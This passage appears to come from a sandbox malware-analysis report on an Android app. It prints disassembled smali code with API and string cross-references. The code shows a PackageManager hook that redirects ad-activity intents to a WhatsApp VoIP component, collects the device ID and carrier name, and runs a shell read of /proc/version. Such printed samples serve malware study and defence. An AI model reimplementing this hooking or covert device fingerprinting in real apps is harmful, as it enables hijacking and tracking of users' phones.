                                                                              26invoke-virtual {v7}, Ljava/io/OutputStream;->flush()V
                                                                              28invoke-virtual {v3}, Ljava/lang/Process;->waitFor()I
                                                                              29new-instance v5, Ljava/io/InputStreamReader;
                                                                              31invoke-direct {v5, v2}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              32try_end_2d: new-instance v6, Ljava/io/BufferedReader;
                                                                              34invoke-direct {v6, v5}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              35try_end_32:
                                                                              36invoke-virtual {v6}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              37move-result-object v8
                                                                              38if-eqz v8, :cond_60
                                                                              39new-instance v0, Ljava/lang/StringBuilder;
                                                                              41invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                                                                              42try_start_3d:
                                                                              43invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              45sget-object v8, LuAgent/commonsdk/internal/utils/g;->a:Ljava/lang/String;
                                                                              47invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              48goto_45:
                                                                              49invoke-virtual {v6}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              50move-result-object v8
                                                                              51if-eqz v8, :cond_61
                                                                              53invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              55sget-object v8, LuAgent/commonsdk/internal/utils/g;->a:Ljava/lang/String;
                                                                              57invoke-virtual {v0, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              58try_end_53: goto/16 :goto_45
                                                                              59catch_54: move-exception v8
                                                                              60goto_55:
                                                                              61invoke-static {v7, v4, v2, v5, v6}, LuAgent/commonsdk/internal/utils/g;->a(Ljava/io/OutputStream;Ljava/io/InputStream;Ljava/io/InputStream;Ljava/io/InputStreamReader;Ljava/io/BufferedReader;)V
                                                                              62if-eqz v3, :cond_5d
                                                                              64invoke-static {v3}, LuAgent/commonsdk/internal/utils/g;->c(Ljava/lang/Process;)V
                                                                              65cond_5d: if-nez v0, :cond_93
                                                                              66goto_5f: return-object v1
                                                                              67cond_60: move-object v0, v1
                                                                              68cond_61:
                                                                              69sget-object v8, LuAgent/commonsdk/internal/utils/g;->c:[B
                                                                              71invoke-virtual {v4, v8}, Ljava/io/InputStream;->read([B)I
                                                                              72try_end_66: move-result v8
                                                                              73if-gtz v8, :cond_61
                                                                              75invoke-static {v7, v4, v2, v5, v6}, LuAgent/commonsdk/internal/utils/g;->a(Ljava/io/OutputStream;Ljava/io/InputStream;Ljava/io/InputStream;Ljava/io/InputStreamReader;Ljava/io/BufferedReader;)V
                                                                              76if-eqz v3, :cond_5d
                                                                              78invoke-static {v3}, LuAgent/commonsdk/internal/utils/g;->c(Ljava/lang/Process;)V
                                                                              79goto/16 :goto_5d
                                                                              80catch_72: move-exception v0
                                                                              81move-object v7, v1
                                                                              82move-object v4, v1
                                                                              83move-object v2, v1
                                                                              84move-object v5, v1
                                                                              85move-object v6, v1
                                                                              86move-object v0, v1
                                                                              87move-object v3, v1
                                                                              88goto_7a:
                                                                              89invoke-static {v7, v4, v2, v5, v6}, LuAgent/commonsdk/internal/utils/g;->a(Ljava/io/OutputStream;Ljava/io/InputStream;Ljava/io/InputStream;Ljava/io/InputStreamReader;Ljava/io/BufferedReader;)V
                                                                              90if-eqz v3, :cond_5d
                                                                              92invoke-static {v3}, LuAgent/commonsdk/internal/utils/g;->c(Ljava/lang/Process;)V
                                                                              93goto/16 :goto_5d
                                                                              94catchall_83: move-exception v0
                                                                              95move-object v2, v1
                                                                              96move-object v3, v1
                                                                              97move-object v4, v1
                                                                              98move-object v5, v0
                                                                              99move-object v6, v1
                                                                              100move-object v0, v1
                                                                              101goto_8a:
                                                                              102invoke-static {v6, v2, v1, v3, v4}, LuAgent/commonsdk/internal/utils/g;->a(Ljava/io/OutputStream;Ljava/io/InputStream;Ljava/io/InputStream;Ljava/io/InputStreamReader;Ljava/io/BufferedReader;)V
                                                                              103if-eqz v0, :cond_92
                                                                              105invoke-static {v0}, LuAgent/commonsdk/internal/utils/g;->c(Ljava/lang/Process;)V
                                                                              106cond_92: throw v5
                                                                              107cond_93:
                                                                              108invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              109move-result-object v1
                                                                              110goto/16 :goto_5f
                                                                              111catchall_98: move-exception v0
                                                                              112move-object v2, v1
                                                                              113move-object v4, v1
                                                                              114move-object v5, v0
                                                                              115move-object v6, v1
                                                                              116move-object v0, v3
                                                                              117move-object v3, v1
                                                                              118goto/16 :goto_8a
                                                                              119catchall_a0: move-exception v0
                                                                              120move-object v2, v1
                                                                              121move-object v4, v1
                                                                              122move-object v5, v0
                                                                              123move-object v6, v7
                                                                              124move-object v0, v3
                                                                              125move-object v3, v1
                                                                              126goto/16 :goto_8a
                                                                              127catchall_a8: move-exception v0
                                                                              128move-object v4, v1
                                                                              129move-object v5, v0
                                                                              130move-object v6, v7
                                                                              131move-object v0, v3
                                                                              132move-object v3, v1
                                                                              133move-object v9, v2
                                                                              134move-object v2, v1
                                                                              135move-object v1, v9
                                                                              136goto/16 :goto_8a
                                                                              137catchall_b2: move-exception v0
                                                                              138move-object v5, v0
                                                                              139move-object v6, v7
                                                                              140move-object v0, v3
                                                                              141move-object v3, v1
                                                                              142move-object v9, v1
                                                                              143move-object v1, v2
                                                                              144move-object v2, v4
                                                                              145move-object v4, v9
                                                                              146goto/16 :goto_8a
                                                                              147catchall_bc: move-exception v0
                                                                              148move-object v6, v7
                                                                              149move-object v9, v3
                                                                              150move-object v3, v5
                                                                              151move-object v5, v0
                                                                              152move-object v0, v9
                                                                              153move-object v10, v1
                                                                              154move-object v1, v2
                                                                              155move-object v2, v4
                                                                              156move-object v4, v10
                                                                              157goto/16 :goto_8a
                                                                              158catchall_c7: move-exception v0
                                                                              159move-object v1, v2
                                                                              160move-object v2, v4
                                                                              161move-object v4, v6
                                                                              162move-object v6, v7
                                                                              163move-object v9, v3
                                                                              164move-object v3, v5
                                                                              165move-object v5, v0
                                                                              166move-object v0, v9
                                                                              167goto/16 :goto_8a
                                                                              168catch_d1: move-exception v0
                                                                              169move-object v7, v1
                                                                              170move-object v4, v1
                                                                              171move-object v2, v1
                                                                              172move-object v5, v1
                                                                              173move-object v6, v1
                                                                              174move-object v0, v1
                                                                              175goto/16 :goto_7a
                                                                              176catch_d9: move-exception v0
                                                                              177move-object v4, v1
                                                                              178move-object v2, v1
                                                                              179move-object v5, v1
                                                                              180move-object v6, v1
                                                                              181move-object v0, v1
                                                                              182goto/16 :goto_7a
                                                                              183catch_e0: move-exception v0
                                                                              184move-object v4, v1
                                                                              185move-object v5, v1
                                                                              186move-object v6, v1
                                                                              187move-object v0, v1
                                                                              188goto/16 :goto_7a
                                                                              189catch_e6: move-exception v0
                                                                              190move-object v5, v1
                                                                              191move-object v6, v1
                                                                              192move-object v0, v1
                                                                              193goto/16 :goto_7a
                                                                              194catch_eb: move-exception v0
                                                                              195move-object v6, v1
                                                                              196move-object v0, v1
                                                                              197goto/16 :goto_7a
                                                                              198catch_ef: move-exception v0
                                                                              199move-object v0, v1
                                                                              200goto/16 :goto_7a
                                                                              201catch_f2: move-exception v0
                                                                              202move-object v5, v1
                                                                              203move-object v4, v1
                                                                              204move-object v6, v1
                                                                              205move-object v2, v1
                                                                              206move-object v7, v1
                                                                              207move-object v0, v1
                                                                              208move-object v3, v1
                                                                              209goto/16 :goto_55
                                                                              210catch_fc: move-exception v0
                                                                              211move-object v5, v1
                                                                              212move-object v4, v1
                                                                              213move-object v6, v1
                                                                              214move-object v2, v1
                                                                              215move-object v7, v1
                                                                              216move-object v0, v1
                                                                              217goto/16 :goto_55
                                                                              218catch_105: move-exception v0
                                                                              219move-object v5, v1
                                                                              220move-object v4, v1
                                                                              221move-object v6, v1
                                                                              222move-object v2, v1
                                                                              223move-object v0, v1
                                                                              224goto/16 :goto_55
                                                                              225catch_10d: move-exception v0
                                                                              226move-object v5, v1
                                                                              227move-object v4, v1
                                                                              228move-object v6, v1
                                                                              229move-object v0, v1
                                                                              230goto/16 :goto_55
                                                                              231catch_114: move-exception v0
                                                                              232move-object v5, v1
                                                                              233move-object v6, v1
                                                                              234move-object v0, v1
                                                                              235goto/16 :goto_55
                                                                              236catch_11a: move-exception v0
                                                                              237move-object v6, v1
                                                                              238move-object v0, v1
                                                                              239goto/16 :goto_55
                                                                              240catch_11f: move-exception v0
                                                                              241move-object v0, v1
                                                                              242goto/16 :goto_55
                                                                              243catch_123: move-exception v8
                                                                              244goto/16 :goto_7a
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Object.<init>
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.Context.getApplicationInfo
                                                                              • android.content.pm.ApplicationInfo.sourceDir:Ljava/lang/String
                                                                              • android.text.TextUtils.isEmpty
                                                                              • java.lang.String.equals
                                                                              • java.lang.String.trim
                                                                              • java.lang.String.split
                                                                              • android.content.Context.getPackageName
                                                                              • java.lang.String.trim
                                                                              • java.lang.String.trim
                                                                              • java.lang.String.trim
                                                                              Strings
                                                                              • channel
                                                                              • old
                                                                              • OMD5
                                                                              • MobID
                                                                              • unknow
                                                                              • _
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "mContext" # Landroid/content/Context;
                                                                              1.param p2, "inchannel" # Ljava/lang/String;
                                                                              2.prologue
                                                                              3const/4 v9, 0x1
                                                                              4const/4 v8, 0x0
                                                                              6invoke-direct {p0}, Ljava/lang/Object;-><init>()V
                                                                              8invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              9move-result-object v6
                                                                              10iput-object v6, p0, Lcom/android/leech/base/util/Channel;->packagename:Ljava/lang/String;
                                                                              12invoke-virtual {p1}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                                                                              13move-result-object v0
                                                                              15iget-object v6, v0, Landroid/content/pm/ApplicationInfo;->sourceDir:Ljava/lang/String;
                                                                              16iput-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              18invoke-static {p1}, Lcom/android/leech/base/util/patch/PatchUtils;->isPatchApk(Landroid/content/Context;)Z
                                                                              19move-result v6
                                                                              20iput-boolean v6, p0, Lcom/android/leech/base/util/Channel;->isPatch:Z
                                                                              22invoke-virtual {p0, p1}, Lcom/android/leech/base/util/Channel;->isSaveShared(Landroid/content/Context;)Z
                                                                              23move-result v6
                                                                              24if-eqz v6, :cond_23
                                                                              26invoke-virtual {p0, p1}, Lcom/android/leech/base/util/Channel;->getShared(Landroid/content/Context;)V
                                                                              27goto_22: return-void
                                                                              28cond_23: const/4 v2, 0x0
                                                                              29iget-boolean v6, p0, Lcom/android/leech/base/util/Channel;->isPatch:Z
                                                                              30if-eqz v6, :cond_85
                                                                              32iget-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              34invoke-static {v6}, Lcom/android/leech/base/util/dex/DexUtils;->getZipFromDex(Ljava/lang/String;)[B
                                                                              35move-result-object v4
                                                                              36if-eqz v4, :cond_58
                                                                              38const-string v6, "channel"
                                                                              40invoke-static {v4, v6}, Lcom/android/leech/base/util/ZipUtils;->findZipBufToBytes([BLjava/lang/String;)[B
                                                                              41move-result-object v1
                                                                              43const-string v6, "old"
                                                                              45invoke-static {v1, v6}, Lcom/android/leech/base/util/UintUtils;->bytes2String([BLjava/lang/String;)Ljava/lang/String;
                                                                              46move-result-object v2
                                                                              48const-string v6, "OMD5"
                                                                              50invoke-static {v4, v6}, Lcom/android/leech/base/util/ZipUtils;->findZipBufToBytes([BLjava/lang/String;)[B
                                                                              51move-result-object v1
                                                                              53const-string v6, ""
                                                                              55invoke-static {v1, v6}, Lcom/android/leech/base/util/UintUtils;->bytes2String([BLjava/lang/String;)Ljava/lang/String;
                                                                              56move-result-object v6
                                                                              57iput-object v6, p0, Lcom/android/leech/base/util/Channel;->OMD5:Ljava/lang/String;
                                                                              59const-string v6, "MobID"
                                                                              61invoke-static {v4, v6}, Lcom/android/leech/base/util/ZipUtils;->findZipBufToBytes([BLjava/lang/String;)[B
                                                                              62move-result-object v1
                                                                              64const-string v6, ""
                                                                              66invoke-static {v1, v6}, Lcom/android/leech/base/util/UintUtils;->bytes2String([BLjava/lang/String;)Ljava/lang/String;
                                                                              67move-result-object v6
                                                                              68iput-object v6, p0, Lcom/android/leech/base/util/Channel;->patchMob_id:Ljava/lang/String;
                                                                              69goto_58:
                                                                              70invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              71move-result v6
                                                                              72if-nez v6, :cond_66
                                                                              74const-string v6, "unknow"
                                                                              76invoke-virtual {v2, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              77move-result v6
                                                                              78if-eqz v6, :cond_67
                                                                              79cond_66: move-object v2, p2
                                                                              80cond_67:
                                                                              81invoke-virtual {v2}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              82move-result-object v6
                                                                              84const-string v7, "_"
                                                                              86invoke-virtual {v6, v7}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
                                                                              87move-result-object v3
                                                                              88array-length v6, v3
                                                                              89packed-switch v6, :pswitch_data_ca
                                                                              91invoke-static {}, Lcom/android/leech/base/util/Channel;->getWay()Ljava/lang/String;
                                                                              92move-result-object v6
                                                                              93iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelWay:Ljava/lang/String;
                                                                              95invoke-virtual {p1}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              96move-result-object v6
                                                                              97iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelPKG:Ljava/lang/String;
                                                                              98goto_81:
                                                                              99invoke-virtual {p0, p1}, Lcom/android/leech/base/util/Channel;->saveShared(Landroid/content/Context;)V
                                                                              100goto/16 :goto_22
                                                                              101cond_85:
                                                                              102iget-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              104invoke-static {v6}, Lcom/android/leech/base/util/ApkInfos;->getApkSignSchemeVersion(Ljava/lang/String;)I
                                                                              105move-result v5
                                                                              106if-ne v5, v9, :cond_a2
                                                                              108iget-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              110invoke-static {v6}, Lcom/android/leech/base/util/Channel;->getChannelByOri(Ljava/lang/String;)Ljava/lang/String;
                                                                              111move-result-object v2
                                                                              112goto_93:
                                                                              113iget-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              115invoke-static {v6}, Lcom/android/leech/base/util/MD5Utils;->getFileMD5(Ljava/lang/String;)Ljava/lang/String;
                                                                              116move-result-object v6
                                                                              117iput-object v6, p0, Lcom/android/leech/base/util/Channel;->OMD5:Ljava/lang/String;
                                                                              119invoke-static {p1}, Lcom/android/leech/base/util/PhoneInfo;->getDeviceId(Landroid/content/Context;)Ljava/lang/String;
                                                                              120move-result-object v6
                                                                              121iput-object v6, p0, Lcom/android/leech/base/util/Channel;->patchMob_id:Ljava/lang/String;
                                                                              122goto/16 :goto_58
                                                                              123cond_a2:
                                                                              124iget-object v6, p0, Lcom/android/leech/base/util/Channel;->apkPath:Ljava/lang/String;
                                                                              126invoke-static {v6}, Lcom/android/leech/base/util/Channel;->getChannelByZip(Ljava/lang/String;)Ljava/lang/String;
                                                                              127move-result-object v2
                                                                              128goto/16 :goto_93
                                                                              129pswitch_a9:
                                                                              130invoke-static {}, Lcom/android/leech/base/util/Channel;->getWay()Ljava/lang/String;
                                                                              131move-result-object v6
                                                                              132iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelWay:Ljava/lang/String;
                                                                              133aget-object v6, v3, v8
                                                                              135invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              136move-result-object v6
                                                                              137iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelPKG:Ljava/lang/String;
                                                                              138goto/16 :goto_81
                                                                              139pswitch_b8: aget-object v6, v3, v8
                                                                              141invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              142move-result-object v6
                                                                              143iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelWay:Ljava/lang/String;
                                                                              144aget-object v6, v3, v9
                                                                              146invoke-virtual {v6}, Ljava/lang/String;->trim()Ljava/lang/String;
                                                                              147move-result-object v6
                                                                              148iput-object v6, p0, Lcom/android/leech/base/util/Channel;->channelPKG:Ljava/lang/String;
                                                                              149goto/16 :goto_81
                                                                              150nop
                                                                              APIs
                                                                              • java.lang.reflect.Method.getName
                                                                              • java.lang.String.equals
                                                                              • android.content.Intent.getComponent
                                                                              • android.content.ComponentName.getClassName
                                                                              • java.lang.String.equals
                                                                              • android.content.Intent.<init>
                                                                              • android.content.Context.getPackageName
                                                                              • android.content.ComponentName.<init>
                                                                              • android.content.Intent.setComponent
                                                                              • java.lang.reflect.Method.invoke
                                                                              • android.content.pm.ResolveInfo.activityInfo:Landroid/content/pm/ActivityInfo
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.reflect.InvocationTargetException.getCause
                                                                              • java.lang.reflect.Method.invoke
                                                                              • java.lang.reflect.InvocationTargetException.getCause
                                                                              Strings
                                                                              • resolveIntent
                                                                              • com.google.android.gms.ads.AdActivity
                                                                              • com.whatsapp.voipcalling.VoipActivityV2
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "o" # Ljava/lang/Object;
                                                                              1.param p2, "method" # Ljava/lang/reflect/Method;
                                                                              2.param p3, "objects" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/Throwable;
                                                                              6}
                                                                              7.end annotation
                                                                              8.prologue
                                                                              9try_start_0:
                                                                              10invoke-virtual/range {p2 .. p2}, Ljava/lang/reflect/Method;->getName()Ljava/lang/String;
                                                                              11move-result-object v13
                                                                              13const-string v14, "resolveIntent"
                                                                              15invoke-virtual {v13, v14}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              16move-result v13
                                                                              17if-eqz v13, :cond_6f
                                                                              18const/4 v7, 0x0
                                                                              19const/4 v6, 0x0
                                                                              20goto_e: move-object/from16 v0, p3
                                                                              21array-length v13, v0
                                                                              22if-ge v6, v13, :cond_1a
                                                                              23aget-object v13, p3, v6
                                                                              24instance-of v13, v13, Landroid/content/Intent;
                                                                              25if-eqz v13, :cond_5a
                                                                              26move v7, v6
                                                                              27cond_1a: aget-object v9, p3, v7
                                                                              28check-cast v9, Landroid/content/Intent;
                                                                              30invoke-virtual {v9}, Landroid/content/Intent;->getComponent()Landroid/content/ComponentName;
                                                                              31move-result-object v13
                                                                              33invoke-virtual {v13}, Landroid/content/ComponentName;->getClassName()Ljava/lang/String;
                                                                              34move-result-object v10
                                                                              36const-string v13, "com.google.android.gms.ads.AdActivity"
                                                                              38invoke-virtual {v10, v13}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                                              39move-result v13
                                                                              40if-eqz v13, :cond_47
                                                                              41new-instance v8, Landroid/content/Intent;
                                                                              43invoke-direct {v8}, Landroid/content/Intent;-><init>()V
                                                                              45invoke-static {}, Lcom/android/leech/base/LeechGlobal;->getContext()Landroid/content/Context;
                                                                              46move-result-object v13
                                                                              48invoke-virtual {v13}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                                              49move-result-object v12
                                                                              50new-instance v4, Landroid/content/ComponentName;
                                                                              52const-string v13, "com.whatsapp.voipcalling.VoipActivityV2"
                                                                              54invoke-direct {v4, v12, v13}, Landroid/content/ComponentName;-><init>(Ljava/lang/String;Ljava/lang/String;)V
                                                                              56invoke-virtual {v8, v4}, Landroid/content/Intent;->setComponent(Landroid/content/ComponentName;)Landroid/content/Intent;
                                                                              57aput-object v8, p3, v7
                                                                              58cond_47:
                                                                              59iget-object v13, p0, Lcom/android/leech/base/hook/proxy/HookPMSHandler;->baseObj:Ljava/lang/Object;
                                                                              60move-object/from16 v0, p2
                                                                              61move-object/from16 v1, p3
                                                                              63invoke-virtual {v0, v13, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              64move-result-object v11
                                                                              65check-cast v11, Landroid/content/pm/ResolveInfo;
                                                                              67iget-object v3, v11, Landroid/content/pm/ResolveInfo;->activityInfo:Landroid/content/pm/ActivityInfo;
                                                                              68const/16 v13, 0xfb3
                                                                              69iput v13, v3, Landroid/content/pm/ActivityInfo;->configChanges:I
                                                                              70try_end_59: return-object v11
                                                                              71cond_5a: add-int/lit8 v6, v6, 0x1
                                                                              72goto/16 :goto_e
                                                                              73catch_5d: move-exception v5
                                                                              74try_start_5e:
                                                                              75iget-object v13, p0, Lcom/android/leech/base/hook/proxy/HookPMSHandler;->baseObj:Ljava/lang/Object;
                                                                              76move-object/from16 v0, p2
                                                                              77move-object/from16 v1, p3
                                                                              79invoke-virtual {v0, v13, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              80try_end_67: move-result-object v11
                                                                              81goto/16 :goto_59
                                                                              82catch_69: move-exception v2
                                                                              84invoke-virtual {v2}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                                                                              85move-result-object v13
                                                                              86throw v13
                                                                              87try_start_6f:
                                                                              88iget-object v13, p0, Lcom/android/leech/base/hook/proxy/HookPMSHandler;->baseObj:Ljava/lang/Object;
                                                                              89move-object/from16 v0, p2
                                                                              90move-object/from16 v1, p3
                                                                              92invoke-virtual {v0, v13, v1}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              93try_end_78: move-result-object v11
                                                                              94goto/16 :goto_59
                                                                              95catch_7a: move-exception v5
                                                                              97invoke-virtual {v5}, Ljava/lang/reflect/InvocationTargetException;->getCause()Ljava/lang/Throwable;
                                                                              98move-result-object v13
                                                                              99throw v13
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.ProcessBuilder.<init>
                                                                              • java.io.File.<init>
                                                                              • java.lang.ProcessBuilder.directory
                                                                              • java.lang.ProcessBuilder.redirectErrorStream
                                                                              • java.lang.ProcessBuilder.start
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.io.InputStream.close
                                                                              Strings
                                                                              • /system/bin/cat
                                                                              • /proc/version
                                                                              • /system/bin/
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              1const/4 v11, 0x1
                                                                              3const-string v7, ""
                                                                              4const/4 v9, 0x2
                                                                              5new-array v2, v9, [Ljava/lang/String;
                                                                              6const/4 v9, 0x0
                                                                              8const-string v10, "/system/bin/cat"
                                                                              9aput-object v10, v2, v9
                                                                              11const-string v9, "/proc/version"
                                                                              12aput-object v9, v2, v11
                                                                              14const-string v8, "/system/bin/"
                                                                              15try_start_11: new-instance v1, Ljava/lang/ProcessBuilder;
                                                                              17invoke-direct {v1, v2}, Ljava/lang/ProcessBuilder;-><init>([Ljava/lang/String;)V
                                                                              18new-instance v9, Ljava/io/File;
                                                                              20invoke-direct {v9, v8}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              22invoke-virtual {v1, v9}, Ljava/lang/ProcessBuilder;->directory(Ljava/io/File;)Ljava/lang/ProcessBuilder;
                                                                              23const/4 v9, 0x1
                                                                              25invoke-virtual {v1, v9}, Ljava/lang/ProcessBuilder;->redirectErrorStream(Z)Ljava/lang/ProcessBuilder;
                                                                              27invoke-virtual {v1}, Ljava/lang/ProcessBuilder;->start()Ljava/lang/Process;
                                                                              28move-result-object v6
                                                                              30invoke-virtual {v6}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              31move-result-object v3
                                                                              32new-instance v4, Ljava/io/InputStreamReader;
                                                                              34invoke-direct {v4, v3}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              35new-instance v0, Ljava/io/BufferedReader;
                                                                              36const/16 v9, 0x2000
                                                                              38invoke-direct {v0, v4, v9}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;I)V
                                                                              39goto_36:
                                                                              40invoke-virtual {v0}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              41move-result-object v5
                                                                              42if-eqz v5, :cond_4e
                                                                              43new-instance v9, Ljava/lang/StringBuilder;
                                                                              45invoke-direct {v9}, Ljava/lang/StringBuilder;-><init>()V
                                                                              47invoke-virtual {v9, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              48move-result-object v9
                                                                              50invoke-virtual {v9, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              51move-result-object v9
                                                                              53invoke-virtual {v9}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              54move-result-object v7
                                                                              55goto/16 :goto_36
                                                                              56cond_4e:
                                                                              57invoke-virtual {v3}, Ljava/io/InputStream;->close()V
                                                                              58goto_51: return-object v7
                                                                              59catch_52: move-exception v9
                                                                              60goto/16 :goto_51
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getNetworkOperatorName
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • android.util.Log.e
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              • UMUtils
                                                                              • get network operator e is
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_4
                                                                              1const/4 v0, 0x0
                                                                              2goto_3: return-object v0
                                                                              3try_start_4:
                                                                              4const-string v0, "phone"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10const-string v1, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v1}, LuAgent/commonsdk/utils/UMUtils;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13try_end_11: move-result v1
                                                                              14if-nez v1, :cond_62
                                                                              16const-string v0, ""
                                                                              17goto/16 :goto_3
                                                                              18cond_17:
                                                                              19invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getNetworkOperatorName()Ljava/lang/String;
                                                                              20try_end_1a: move-result-object v0
                                                                              21goto/16 :goto_3
                                                                              22catch_1c: move-exception v0
                                                                              23sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              24if-eqz v1, :cond_39
                                                                              26const-string v1, "UMUtils"
                                                                              27new-instance v2, Ljava/lang/StringBuilder;
                                                                              29invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              31const-string v3, "get network operator e is "
                                                                              33invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              34move-result-object v2
                                                                              36invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              37move-result-object v2
                                                                              39invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              40move-result-object v2
                                                                              42invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              43cond_39:
                                                                              44invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              46const-string v0, ""
                                                                              47goto/16 :goto_3
                                                                              48catch_3f: move-exception v0
                                                                              49sget-boolean v1, LuAgent/commonsdk/statistics/AnalyticsConstants;->UM_DEBUG:Z
                                                                              50if-eqz v1, :cond_5c
                                                                              52const-string v1, "UMUtils"
                                                                              53new-instance v2, Ljava/lang/StringBuilder;
                                                                              55invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                                                                              57const-string v3, "get network operator e is "
                                                                              59invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              60move-result-object v2
                                                                              62invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;
                                                                              63move-result-object v2
                                                                              65invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              66move-result-object v2
                                                                              68invoke-static {v1, v2}, Landroid/util/Log;->e(Ljava/lang/String;Ljava/lang/String;)I
                                                                              69cond_5c:
                                                                              70invoke-static {p0, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              72const-string v0, ""
                                                                              73goto/16 :goto_3
